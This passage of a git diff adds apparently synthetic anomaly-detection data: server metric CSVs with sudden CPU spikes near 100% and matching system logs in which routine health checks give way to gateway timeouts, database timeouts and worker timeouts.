nginx[3313]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 24 14:07:18 server-1 ufw[2295]: Allowing outgoing connection to 10.0.1.23:5432 +Aug 24 14:07:19 server-1 webapp[9328]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:07:21 server-1 webapp[15913]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:07:21 server-1 webapp[5982]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:07:25 server-1 cron[18977]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 14:07:25 server-1 webapp[11116]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 24 14:07:28 server-1 sshd[16085]: Accepted publickey for ubuntu from 192.168.1.161 port 43616 ssh2 diff --git a/anom_dataset/scenario_1/anom_1_14.csv b/anom_dataset/scenario_1/anom_1_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..a13cf14e55fa2ef8037875f9728a53fe4417f693 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,18.16,38.49,34.17,1.42,1.61 +2025-08-22T10:00:05Z,24.86,36.1,20.54,0.63,1.52 +2025-08-22T10:00:10Z,22.0,35.24,27.39,1.25,0.99 +2025-08-22T10:00:15Z,24.14,41.08,34.53,1.02,1.04 +2025-08-22T10:00:20Z,21.43,41.11,23.86,0.87,1.84 +2025-08-22T10:00:25Z,23.61,42.33,25.02,0.94,1.45 +2025-08-22T10:00:30Z,17.72,36.58,20.26,0.52,1.39 +2025-08-22T10:00:35Z,15.87,39.23,26.64,1.01,1.98 +2025-08-22T10:00:40Z,22.78,41.11,21.41,1.15,1.04 +2025-08-22T10:00:45Z,19.4,42.55,20.54,1.45,0.84 +2025-08-22T10:00:50Z,24.99,35.1,34.7,1.38,0.87 +2025-08-22T10:00:55Z,23.53,40.69,25.87,0.65,1.51 +2025-08-22T10:01:00Z,17.35,36.6,23.9,0.99,0.82 +2025-08-22T10:01:05Z,17.9,37.03,31.35,1.09,1.17 +2025-08-22T10:01:10Z,22.64,37.64,30.28,1.28,1.55 +2025-08-22T10:01:15Z,22.91,42.18,21.79,0.87,0.96 +2025-08-22T10:01:20Z,21.72,37.66,23.87,0.64,1.3 +2025-08-22T10:01:25Z,15.32,35.53,25.64,1.39,1.71 +2025-08-22T10:01:30Z,23.72,44.87,32.39,1.13,1.33 +2025-08-22T10:01:35Z,23.98,41.91,20.03,1.26,1.11 +2025-08-22T10:01:40Z,16.43,44.85,21.62,0.97,0.84 +2025-08-22T10:01:45Z,18.21,44.92,34.21,1.16,0.92 +2025-08-22T10:01:50Z,15.27,43.21,33.6,1.4,1.22 +2025-08-22T10:01:55Z,22.58,40.06,26.2,1.03,1.8 +2025-08-22T10:02:00Z,17.65,40.44,30.58,1.1,1.18 +2025-08-22T10:02:05Z,20.7,44.04,20.9,0.74,2.0 +2025-08-22T10:02:10Z,20.38,38.25,30.57,0.64,1.16 +2025-08-22T10:02:15Z,17.36,38.02,33.89,0.56,1.4 +2025-08-22T10:02:20Z,19.98,44.77,33.25,0.9,1.43 +2025-08-22T10:02:25Z,21.73,44.39,21.78,0.68,1.12 +2025-08-22T10:02:30Z,96.26,38.6,25.47,1.2,0.97 +2025-08-22T10:02:35Z,97.46,38.31,32.58,1.52,1.88 +2025-08-22T10:02:40Z,99.13,43.68,22.1,0.9,2.02 +2025-08-22T10:02:45Z,99.46,36.3,24.29,0.84,1.78 +2025-08-22T10:02:50Z,96.29,37.6,36.23,1.16,1.56 +2025-08-22T10:02:55Z,96.01,38.17,29.41,1.25,1.49 +2025-08-22T10:03:00Z,99.92,39.24,31.97,1.58,1.29 +2025-08-22T10:03:05Z,99.91,36.49,36.44,1.17,1.12 +2025-08-22T10:03:10Z,98.34,41.19,26.02,1.17,0.94 +2025-08-22T10:03:15Z,95.43,41.62,23.45,1.37,0.99 +2025-08-22T10:03:20Z,96.59,40.86,36.11,1.3,0.97 +2025-08-22T10:03:25Z,96.05,39.45,32.02,1.17,1.86 +2025-08-22T10:03:30Z,97.13,45.19,37.5,0.78,1.19 +2025-08-22T10:03:35Z,96.49,39.7,24.91,0.8,1.88 +2025-08-22T10:03:40Z,98.35,38.98,29.9,1.07,1.13 +2025-08-22T10:03:45Z,95.51,37.59,26.46,1.38,1.73 +2025-08-22T10:03:50Z,97.12,41.38,36.96,1.44,1.34 +2025-08-22T10:03:55Z,95.7,44.94,37.88,0.72,1.43 +2025-08-22T10:04:00Z,95.34,38.64,31.04,1.05,1.28 +2025-08-22T10:04:05Z,96.9,36.95,31.51,0.68,1.47 +2025-08-22T10:04:10Z,95.56,44.12,24.84,1.15,1.68 +2025-08-22T10:04:15Z,95.14,37.2,28.83,0.67,1.62 +2025-08-22T10:04:20Z,97.12,40.49,32.35,0.74,1.98 +2025-08-22T10:04:25Z,95.88,44.7,22.82,1.36,1.7 +2025-08-22T10:04:30Z,99.78,36.35,25.83,1.42,1.0 +2025-08-22T10:04:35Z,99.99,38.92,23.53,0.86,1.92 +2025-08-22T10:04:40Z,97.92,41.27,34.75,1.09,1.83 +2025-08-22T10:04:45Z,96.16,36.92,35.77,1.15,1.48 +2025-08-22T10:04:50Z,99.72,38.84,30.52,1.37,1.62 +2025-08-22T10:04:55Z,95.02,41.03,25.14,1.47,1.37 +2025-08-22T10:05:00Z,99.99,44.5,28.06,1.04,1.64 +2025-08-22T10:05:05Z,95.7,38.23,37.3,0.64,1.39 +2025-08-22T10:05:10Z,95.26,36.02,32.16,1.33,1.25 +2025-08-22T10:05:15Z,97.21,42.86,37.53,0.83,1.85 +2025-08-22T10:05:20Z,97.02,40.72,25.79,0.93,1.63 +2025-08-22T10:05:25Z,95.41,42.37,22.41,0.87,1.62 +2025-08-22T10:05:30Z,98.21,39.73,22.21,1.57,1.78 +2025-08-22T10:05:35Z,96.68,37.62,28.83,0.93,2.03 +2025-08-22T10:05:40Z,99.72,42.57,28.28,1.29,1.16 +2025-08-22T10:05:45Z,98.56,38.21,31.94,1.1,2.0 +2025-08-22T10:05:50Z,99.88,37.93,27.36,0.71,1.08 +2025-08-22T10:05:55Z,98.21,44.46,33.09,1.47,2.08 +2025-08-22T10:06:00Z,98.5,36.63,33.67,1.48,1.32 +2025-08-22T10:06:05Z,99.86,43.66,35.52,1.31,1.93 +2025-08-22T10:06:10Z,99.47,37.76,34.47,0.73,1.66 +2025-08-22T10:06:15Z,95.0,40.25,34.62,1.38,1.58 +2025-08-22T10:06:20Z,97.87,37.33,23.31,0.73,1.76 +2025-08-22T10:06:25Z,95.51,44.32,24.42,1.48,1.47 +2025-08-22T10:06:30Z,96.61,44.1,26.77,1.28,1.43 +2025-08-22T10:06:35Z,98.43,45.95,36.98,1.3,1.68 +2025-08-22T10:06:40Z,98.16,42.28,22.62,1.3,1.97 +2025-08-22T10:06:45Z,98.51,42.97,33.85,0.83,1.1 +2025-08-22T10:06:50Z,96.86,43.3,27.1,0.75,1.26 +2025-08-22T10:06:55Z,99.97,41.63,34.2,1.56,1.55 +2025-08-22T10:07:00Z,96.58,37.59,33.42,1.12,0.92 +2025-08-22T10:07:05Z,95.76,37.88,24.59,1.32,1.89 +2025-08-22T10:07:10Z,99.18,41.22,26.14,0.75,1.06 +2025-08-22T10:07:15Z,97.48,36.1,31.61,1.34,1.48 +2025-08-22T10:07:20Z,97.58,43.84,32.47,1.35,1.73 +2025-08-22T10:07:25Z,97.42,40.69,23.94,1.49,1.51 diff --git a/anom_dataset/scenario_1/anom_1_14.log b/anom_dataset/scenario_1/anom_1_14.log new file mode 100644 index 0000000000000000000000000000000000000000..0d650e240407fd8a66ed02ac33850dd9c9d7a3a2 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_14.log @@ -0,0 +1,57 @@ +Aug 22 10:00:00 nginx[18422]: GET /api/status HTTP/1.1 200 OK +Aug 22 10:00:05 systemd[1]: Started Session 47 of user ubuntu. +Aug 22 10:00:10 systemd[1]: Started Session 33 of user ubuntu. +Aug 22 10:00:15 app[24649]: INFO User authentication successful for user 'alex' +Aug 22 10:00:20 kubelet[6121]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:00:25 systemd[1]: Started Session 37 of user ubuntu. +Aug 22 10:00:30 kubelet[16425]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:00:40 auditd[1]: User login succeeded for user ubuntu (uid=1000) +Aug 22 10:00:55 sshd[19986]: Accepted publickey for ubuntu from 192.168.1.105 port 14419 ssh2 +Aug 22 10:01:05 nginx[17174]: GET /healthz HTTP/1.1 200 OK +Aug 22 10:01:10 sshd[19281]: Accepted publickey for ubuntu from 192.168.1.105 port 37449 ssh2 +Aug 22 10:01:20 kubelet[20596]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:25 systemd[1]: Started Session 33 of user ubuntu. +Aug 22 10:01:30 auditd[1]: User login succeeded for user ubuntu (uid=1000) +Aug 22 10:01:35 auditd[1]: User login succeeded for user ubuntu (uid=1000) +Aug 22 10:01:40 cron[13469]: (root) CMD ( /usr/local/bin/health_check.sh) +Aug 22 10:01:50 nginx[17834]: GET /api/status HTTP/1.1 200 OK +Aug 22 10:02:00 kubelet[18814]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:05 app[7176]: INFO User authentication successful for user 'alex' +Aug 22 10:02:35 app[22724]: CRITICAL database connection timeout, failing request +Aug 22 10:02:45 app[18154]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 4504ms) +Aug 22 10:02:55 app[19970]: CRITICAL database connection timeout, failing request +Aug 22 10:03:00 app[17442]: ERROR upstream request timeout after 4242ms +Aug 22 10:03:10 app[13650]: ERROR upstream request timeout after 3526ms +Aug 22 10:03:15 nginx[8191]: GET /api/v1/query?id=123 HTTP/1.1 504 Gateway Timeout +Aug 22 10:03:20 app[8509]: CRITICAL database connection timeout, failing request +Aug 22 10:03:25 app[8244]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 3508ms) +Aug 22 10:03:35 app[4256]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 4126ms) +Aug 22 10:03:55 app[11214]: ERROR upstream request timeout after 4448ms +Aug 22 10:04:00 app[19250]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 4320ms) +Aug 22 10:04:05 nginx[18235]: GET /api/v1/query?id=123 HTTP/1.1 504 Gateway Timeout +Aug 22 10:04:15 app[19542]: ERROR upstream request timeout after 4226ms +Aug 22 10:04:25 app[8880]: CRITICAL database connection timeout, failing request +Aug 22 10:04:30 nginx[23049]: GET /healthz HTTP/1.1 200 OK +Aug 22 10:04:35 nginx[18678]: GET /api/v1/query?id=123 HTTP/1.1 504 Gateway Timeout +Aug 22 10:04:40 app[7877]: INFO User authentication successful for user 'alex' +Aug 22 10:04:45 app[7118]: ERROR upstream request timeout after 4241ms +Aug 22 10:04:50 app[13238]: CRITICAL database connection timeout, failing request +Aug 22 10:04:55 nginx[20098]: GET /api/v1/query?id=123 HTTP/1.1 504 Gateway Timeout +Aug 22 10:05:00 app[14062]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 3559ms) +Aug 22 10:05:05 app[24399]: CRITICAL database connection timeout, failing request +Aug 22 10:05:10 app[18395]: CRITICAL database connection timeout, failing request +Aug 22 10:05:25 nginx[20393]: GET /api/v1/query?id=123 HTTP/1.1 504 Gateway Timeout +Aug 22 10:05:40 app[22957]: CRITICAL database connection timeout, failing request +Aug 22 10:05:45 app[3654]: CRITICAL database connection timeout, failing request +Aug 22 10:06:00 app[4849]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 4689ms) +Aug 22 10:06:10 app[24288]: CRITICAL database connection timeout, failing request +Aug 22 10:06:15 app[22439]: INFO User authentication successful for user 'alex' +Aug 22 10:06:30 app[17953]: CRITICAL database connection timeout, failing request +Aug 22 10:06:35 app[24917]: CRITICAL database connection timeout, failing request +Aug 22 10:06:45 app[3608]: CRITICAL database connection timeout, failing request +Aug 22 10:06:50 app[20349]: ERROR upstream request timeout after 3603ms +Aug 22 10:07:00 app[18818]: INFO User authentication successful for user 'alex' +Aug 22 10:07:05 app[14203]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 4402ms) +Aug 22 10:07:15 app[23067]: WARN GET /api/data HTTP/1.1 504 Gateway Timeout (request took 4041ms) +Aug 22 10:07:20 app[20784]: CRITICAL database connection timeout, failing request +Aug 22 10:07:25 app[8389]: CRITICAL database connection timeout, failing request diff --git a/anom_dataset/scenario_1/anom_1_15.csv b/anom_dataset/scenario_1/anom_1_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..03cb01468995264528269900f68288582bec5f64 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,22.01,41.09,31.89,1.14,1.09 +2025-07-15T14:00:05Z,21.19,41.29,30.68,0.62,1.67 +2025-07-15T14:00:10Z,24.36,41.97,23.47,1.15,1.35 +2025-07-15T14:00:15Z,16.72,44.58,28.75,1.14,1.83 +2025-07-15T14:00:20Z,21.72,42.1,26.66,0.61,1.37 +2025-07-15T14:00:25Z,16.97,41.68,23.75,0.81,1.44 +2025-07-15T14:00:30Z,28.91,40.65,22.13,1.29,1.07 +2025-07-15T14:00:35Z,29.93,41.44,30.66,0.56,1.38 +2025-07-15T14:00:40Z,24.77,43.78,20.05,0.52,1.02 +2025-07-15T14:00:45Z,21.27,43.74,34.64,0.83,1.02 +2025-07-15T14:00:50Z,20.14,42.5,30.42,0.69,1.57 +2025-07-15T14:00:55Z,26.33,43.33,27.59,0.66,1.14 +2025-07-15T14:01:00Z,25.33,41.77,28.88,0.63,1.64 +2025-07-15T14:01:05Z,28.72,44.56,22.26,1.27,1.75 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+2025-07-15T14:06:10Z,99.74,43.92,33.6,1.31,1.81 +2025-07-15T14:06:15Z,99.03,45.42,29.69,1.42,1.2 +2025-07-15T14:06:20Z,98.82,43.42,33.18,0.94,1.6 +2025-07-15T14:06:25Z,98.67,44.63,34.2,1.3,1.46 +2025-07-15T14:06:30Z,98.68,41.39,30.64,1.2,1.32 +2025-07-15T14:06:35Z,98.55,41.26,30.63,0.67,1.28 +2025-07-15T14:06:40Z,98.65,43.03,28.72,0.93,1.63 +2025-07-15T14:06:45Z,99.59,45.87,27.13,1.58,1.97 +2025-07-15T14:06:50Z,99.51,41.71,30.21,0.89,1.42 +2025-07-15T14:06:55Z,99.03,42.32,25.68,0.73,1.44 +2025-07-15T14:07:00Z,99.28,44.14,29.21,0.72,1.59 +2025-07-15T14:07:05Z,99.89,43.26,33.39,1.34,1.04 +2025-07-15T14:07:10Z,98.54,42.43,30.93,1.14,1.74 +2025-07-15T14:07:15Z,99.03,44.59,23.82,0.66,1.13 +2025-07-15T14:07:20Z,99.76,42.78,34.85,1.27,1.03 +2025-07-15T14:07:25Z,99.7,45.42,22.31,1.54,1.64 diff --git a/anom_dataset/scenario_1/anom_1_15.log b/anom_dataset/scenario_1/anom_1_15.log new file mode 100644 index 0000000000000000000000000000000000000000..c87a3317b34857ac4522fa8d53ad545eb9683bfe --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_15.log @@ -0,0 +1,51 @@ +Jul 15 14:00:00 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:00:00 app[20933]: INFO: Processing batch job #38 +Jul 15 14:00:05 sshd[10933]: Accepted publickey for user admin from 10.0.2.2 port 51342 ssh2: RSA SHA256:... +Jul 15 14:00:10 systemd[1]: Started Session 16 of user root. +Jul 15 14:00:20 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:00:25 cron[15322]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:00:35 app[20933]: INFO: Processing batch job #725 +Jul 15 14:00:40 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:00:50 sshd[10933]: pam_unix(sshd:session): session closed for user admin +Jul 15 14:01:00 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:01:10 app[20933]: INFO: Processing batch job #1412 +Jul 15 14:01:20 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:01:25 systemd[1]: Started Session 13 of user root. +Jul 15 14:01:40 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:01:45 app[20933]: INFO: Processing batch job #2135 +Jul 15 14:02:00 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:02:05 cron[15322]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:02:20 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:02:20 app[20933]: INFO: Processing batch job #2830 +Jul 15 14:02:30 app[20933]: WARN: High processing time for batch job #10: 9.15s +Jul 15 14:02:40 systemd[1]: Started Session 19 of user root. +Jul 15 14:02:40 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:03:00 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:03:00 app[20933]: WARN: High processing time for batch job #610: 13.50s +Jul 15 14:03:20 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:03:30 app[20933]: WARN: High processing time for batch job #1212: 10.06s +Jul 15 14:03:40 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:03:45 cron[15322]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:03:55 systemd[1]: Started Session 12 of user root. +Jul 15 14:04:00 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:04:00 app[20933]: WARN: High processing time for batch job #1843: 9.16s +Jul 15 14:04:20 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:04:30 app[20933]: WARN: High processing time for batch job #2418: 6.68s +Jul 15 14:04:40 nginx[815]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:05:00 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:05:00 app[20933]: WARN: High processing time for batch job #3026: 12.75s +Jul 15 14:05:10 systemd[1]: Started Session 13 of user root. +Jul 15 14:05:20 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:05:25 cron[15322]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:05:30 app[20933]: WARN: High processing time for batch job #3613: 8.02s +Jul 15 14:05:40 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:00 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:00 app[20933]: WARN: High processing time for batch job #4234: 10.07s +Jul 15 14:06:20 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:06:25 systemd[1]: Started Session 12 of user root. +Jul 15 14:06:30 app[20933]: WARN: High processing time for batch job #4844: 12.78s +Jul 15 14:06:40 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:07:00 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 15 14:07:00 app[20933]: WARN: High processing time for batch job #5438: 13.29s +Jul 15 14:07:05 cron[15322]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:07:20 nginx[815]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout diff --git a/anom_dataset/scenario_1/anom_1_16.csv b/anom_dataset/scenario_1/anom_1_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..07920376f8ac49c22013f87ffc856b262f4b417c --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,10.71,42.92,25.67,0.8,0.85 +2025-07-15T14:00:05Z,15.27,38.55,25.15,0.64,1.18 +2025-07-15T14:00:10Z,15.37,39.3,22.32,0.87,1.18 +2025-07-15T14:00:15Z,18.85,41.18,22.17,0.81,0.89 +2025-07-15T14:00:20Z,14.78,42.47,24.43,0.96,1.55 +2025-07-15T14:00:25Z,17.55,37.18,27.07,0.49,1.56 +2025-07-15T14:00:30Z,15.05,43.44,31.35,0.56,0.96 +2025-07-15T14:00:35Z,23.44,39.59,23.51,0.73,1.39 +2025-07-15T14:00:40Z,21.65,48.15,16.58,0.56,0.82 +2025-07-15T14:00:45Z,15.75,35.31,29.03,0.62,0.98 +2025-07-15T14:00:50Z,19.66,39.66,29.78,0.77,1.35 +2025-07-15T14:00:55Z,18.76,35.44,26.04,0.59,1.31 +2025-07-15T14:01:00Z,19.3,38.56,33.86,0.57,0.94 +2025-07-15T14:01:05Z,22.69,38.56,24.36,0.71,1.52 +2025-07-15T14:01:10Z,17.82,35.96,26.81,0.78,1.02 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+2025-07-15T14:06:15Z,100.0,40.56,26.94,0.55,0.98 +2025-07-15T14:06:20Z,99.08,40.39,30.04,0.81,0.96 +2025-07-15T14:06:25Z,99.66,40.43,27.95,0.82,1.22 +2025-07-15T14:06:30Z,100.0,36.5,21.52,0.75,1.65 +2025-07-15T14:06:35Z,100.0,41.46,22.77,0.86,1.39 +2025-07-15T14:06:40Z,99.33,45.89,31.58,0.77,1.3 +2025-07-15T14:06:45Z,99.15,41.13,17.04,0.51,1.07 +2025-07-15T14:06:50Z,99.29,37.3,27.82,0.57,0.82 +2025-07-15T14:06:55Z,99.3,38.32,30.63,1.11,1.64 +2025-07-15T14:07:00Z,99.68,43.9,26.04,0.65,1.05 +2025-07-15T14:07:05Z,99.26,36.69,28.02,0.65,1.78 +2025-07-15T14:07:10Z,99.12,41.58,15.0,0.91,1.3 +2025-07-15T14:07:15Z,99.87,41.35,26.29,0.83,0.69 +2025-07-15T14:07:20Z,99.25,42.07,20.02,0.67,1.48 +2025-07-15T14:07:25Z,99.99,40.12,24.72,0.58,1.43 diff --git a/anom_dataset/scenario_1/anom_1_16.log b/anom_dataset/scenario_1/anom_1_16.log new file mode 100644 index 0000000000000000000000000000000000000000..9d42d168eeccbd26e566f80b9f82c2f374bf5e51 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_16.log @@ -0,0 +1,92 @@ +Jul 15 14:00:00 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:00:05 nginx[28636]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:00:20 kubelet[11629]: INFO: Successfully probed container health-check +Jul 15 14:00:30 sshd[3007]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +Jul 15 14:00:40 systemd[1]: Finished Daily apt download activities. +Jul 15 14:00:45 sshd[2421]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +Jul 15 14:00:50 cron[18623]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:00:55 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:01:10 sshd[6263]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +Jul 15 14:01:20 nginx[24207]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:01:35 kubelet[18844]: INFO: Successfully probed container health-check +Jul 15 14:01:40 systemd[1]: Started Session 182 of user root. +Jul 15 14:01:55 systemd[1]: Started Session 72 of user root. +Jul 15 14:02:10 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:02:15 sshd[18067]: Accepted publickey for user admin from 10.0.2.5 port 51234 ssh2 +Jul 15 14:02:25 nginx[25748]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:02:40 systemd[1]: Finished Daily apt download activities. +Jul 15 14:02:50 kubelet[13826]: INFO: Successfully probed container health-check +Jul 15 14:03:00 systemd[1]: Started Session 96 of user root. +Jul 15 14:03:05 nginx[13048]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:03:10 nginx[28661]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:03:25 gunicorn[15524]: [CRITICAL] WORKER TIMEOUT (pid:34223) +Jul 15 14:03:35 app-server[14192]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:03:50 nginx[4675]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:04:05 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:04:20 app-server[14578]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:04:30 kubelet[26604]: INFO: Successfully probed container health-check +Jul 15 14:04:45 kubelet[10637]: INFO: Successfully probed container health-check +Jul 15 14:05:00 gunicorn[20826]: [CRITICAL] WORKER TIMEOUT (pid:38381) +Jul 15 14:05:15 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:05:20 app-server[10105]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:05:25 systemd[1]: Started Session 111 of user root. +Jul 15 14:05:35 nginx[25216]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:05:40 app-server[24599]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:05:55 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:06:05 app-server[12689]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:06:10 gunicorn[20378]: [CRITICAL] WORKER TIMEOUT (pid:37011) +Jul 15 14:06:25 app-server[19147]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:06:40 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:06:45 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:06:55 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:07:10 cron[29699]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:07:25 kubelet[19771]: INFO: Successfully probed container health-check +Jul 15 14:07:30 kubelet[6391]: INFO: Successfully probed container health-check +Jul 15 14:07:45 gunicorn[4529]: [CRITICAL] WORKER TIMEOUT (pid:31834) +Jul 15 14:07:55 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:08:05 app-server[26997]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:08:20 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:08:25 app-server[11932]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:08:30 gunicorn[17036]: [CRITICAL] WORKER TIMEOUT (pid:39282) +Jul 15 14:08:40 app-server[21629]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:08:55 systemd[1]: Finished Daily apt download activities. +Jul 15 14:09:00 gunicorn[26635]: [CRITICAL] WORKER TIMEOUT (pid:35255) +Jul 15 14:09:10 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:09:15 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:09:30 app-server[17576]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:09:40 app-server[18725]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:09:45 nginx[22993]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:10:00 app-server[12216]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:10:15 app-server[27944]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:10:20 nginx[16309]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:10:25 app-server[11850]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:10:30 nginx[5449]: GET /api/v1/process-heavy-task HTTP/1.1 504 Gateway Timeout (request processing timed out) +Jul 15 14:10:40 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:10:50 cron[7433]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:10:55 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:11:05 gunicorn[15547]: [CRITICAL] WORKER TIMEOUT (pid:37695) +Jul 15 14:11:20 kernel: INFO: task java:1234 blocked for more than 120 seconds. +Jul 15 14:11:35 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:11:40 app-server[8529]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:11:45 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... PROTO=TCP DPT=23 +Jul 15 14:11:55 app-server[24647]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:12:00 app-server[20828]: WARNING: High request latency detected for endpoint /api/v1/process-heavy-task: 31.2s +Jul 15 14:12:05 app-server[18378]: ERROR: Upstream request to service-B timed out after 30000ms +Jul 15 14:12:15 cron[23076]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:12:25 